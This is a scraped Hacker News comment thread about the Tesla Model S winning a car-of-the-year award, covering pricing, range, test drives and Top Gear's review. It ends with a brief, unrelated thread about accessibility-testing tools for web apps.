</comment></comment></comment><comment><USER26> This is a legitimate award, much more so than the previous HN post award.

Ugh, I wish Model S vs. Model X weren't such a hard choice. An AWD Model S would be perfect (I'll give up the Frunk, it's too small to hold anything I care about).

<comment><USER8> Elon Musk said some other versions of the Model S will debut next year. There is a lot of speculation that one of those versions is AWD.

<comment><USER27> Extra weight and driveline friction will hurt range/battery life. That's one reason why we probably haven't seen it yet.

</comment></comment></comment><comment><USER28> I got to test drive a Model S last week and it was even better than expected. It felt like pure power when I put my foot down on the pedal and I was smiling most of the drive. It really does feel like they made the best car that happens to be electric, not just a good electric car. I can't wait for the 3rd gen 30k range car to come out.

</comment><comment><USER29> Not a fan of below-the-fold videos autoplaying.

</comment><comment><USER30> Anyone here able to drive one yet? Or even own one? I'm curious to hear from someone with personal use and how it compares to other luxury cars. It's the little things I'm curious about.

<comment><USER31> What do you want to know?

<comment><USER30> Having not owned an electric car before, I just wanted to know the little things that could bother people. How long does it take to charge. How often do you have to charge? How far can you go? What's the practicality of it? Just for short commutes? What fees are contracts are there that could be a game breaker?

I know the answer to some of these but just wondering if there were others that I'm missing.

</comment></comment></comment><comment><USER32> Hope Jeremy Clarkson changes his mind on Tesla.

<comment><USER33> I don't think he actually hates the car. Tesla claims (I believe in their lawsuit against BBC) that they found a copy of the script for that episode, and it involved driving the Tesla around off screen until the battery was quite depleted, then driving the car to an area where they knew in advance they couldn't charge it up. Totally against real world conditions, and gave a very false picture of what owning a Tesla would be like.

 _"It is not the critic who counts; not the man who points out how the strong man stumbles, or where the doer of deeds could have done them better._

 _The credit belongs to the man who is actually in the arena, whose face is marred by dust and sweat and blood; who strives valiantly; who errs, who comes short again and again, because there is no effort without error and shortcoming; but who does actually strive to do the deeds; who knows great enthusiasms, the great devotions; who spends himself in a worthy cause; who at the best knows in the end the triumph of high achievement, and who at the worst, if he fails, at least fails while daring greatly, so that his place shall never be with those cold and timid souls who neither know victory nor defeat."_

-Theodore Roosevelt

Clarkson is just an old dinosaur who is slinging mud at the most innovative car maker in the world. It's entertainment first, and accuracy a distant second.

<comment><USER34> Who cares what Clarkson thinks? He is a bore.

</comment></comment></comment><comment><USER35> If Tesla continues and succeeds, I wonder what it will do to the ideas of innovation/disruption coming from the bottom end & competing with non consumption, being ignored by serious operators, etc.

</comment><comment><USER36> Well deserved, it really is an amazing car.

</comment><comment><USER37> I just walked by a 'Tesla Event' full of rich looking folk in NYC. I guess that's what it was for.

Edit: confirmed.

[http://www.teslamotorsclub.com/showthread.php/10990-Special-...](http://www.teslamotorsclub.com/showthread.php/10990-Special- Event-with-Elon-in-NYC-on-Nov-12)

</comment><comment><USER38> I would _love_ to have a Tesla... but I'd be soooooo paranoid about damage and/or theft. :/

</comment><comment><USER39> So how long before electric cars make a serious dent in auto sales? Certainly not within the next four years. Possibly within ten. What percentage of sales will electric cars have to be before people can buy without worrying about resale or the like?

</comment><comment><USER40> If I can get a Lamborghini body on a Tesla chassis....SOLD!

<comment><USER33> If there was an aftermarket Tesla customisation company like Brabus (<http://www.brabus.com/>) it would be really cool. Hopefully done more tastefully than Brabus obviously (tacky bling-bling Range Rovers, I'm looking at you).

<comment><USER41> They have a custom version of the Tesla Roadster. It's under the 'specialcars' link.

</comment></comment></comment><comment><USER42> Man I cannot wait to get one! The model X looks superb as well though. Good job Tesla.

</comment><comment><USER43> The $49k base price is totally misleading. To get the "supercharger" access that makes road trips possible, you're out another $12k at least ($10k 60kWh battery plus $2k "supercharger" fee). Nav is $4k. Putting the rapid charger into your home (if you have one and don't park in an apartment complex/on the street) is another four figures.

All this to match the performance and luxury of the Acura TL I could get for $40k.

Is it really the best car in the world if it's impractical or out of reach for most people?

EDIT: Yes, I know _all_ car manufacturers use a deceptively low base price and then nail you on "options" like air conditioning. Frankly I've often wished there was a law, or at least a gentleman's agreement in the auto industry, mandating that something can be an "option" for a maximum ten years before it's considered part of the basic accoutrements in a modern car and gets rolled in to all units shipped. Also, Tesla prides themselves outwardly on not being like the rest of the auto industry, but inherits its worst practice and magnifies it tenfold - base price $49 but for something usable you're pushing $70.

<comment><USER5> _Is it really the best car in the world if it's impractical or out of reach for most people?_

"Car of the Year" doesn't mean, "Car everybody needs to go buy".

Taking a quote from Motor Trend's website:

 _the vehicle that best represents exceptional value, superiority in its class and most significant development_

Take a look at historical "Car of the Year":

[http://en.wikipedia.org/wiki/Motor_Trend_Car_of_the_Year#Car...](http://en.wikipedia.org/wiki/Motor_Trend_Car_of_the_Year#Car_of_the_Year)

Notice, for example, the Nissan GT-R ($100,000) for 2009, and the Honda Civic ($15,000) for 2006

<comment><USER43> Value is linked to price. Tesla is doing the public a disservice by encouraging the notion that the Model S starts at $49k, when it really starts closer to $70 in order to approach a conventional car in utility.

Do you get $70k worth of car when you spend $70k on a Model S? Absolutely. You get something that can hold a candle to if not surpass the $70k BMW M5 in every way. But the curve isn't linear - the $49k barebones Model S is nowhere near as useful as the BMW 528 you'd get for the same money.

<comment><USER5> Please actually read the review. They don't pretend the extra features come in the $49k model.

Additionally, it's a holistic approach. Nobody said it was a blowout victory in every single aspect.</comment></comment></comment></comment>


Four Free Tools for Automated Accessibility Testing of Web Apps - <AUTHOR> https://spin.atomicobject.com/2017/05/30/web-app-accessibility-testing-tools/#.WS1mWY50Fbo.hackernews <comment><USER2> Glad to see pa11y on the list. It has a nice UI and I would love to do more research about the tool and the automated checks it runs. I know visualizations are lacking from some accessibility tools or are inaccessible if they are used but I like the pa11y dashboards and defect tracking.</comment>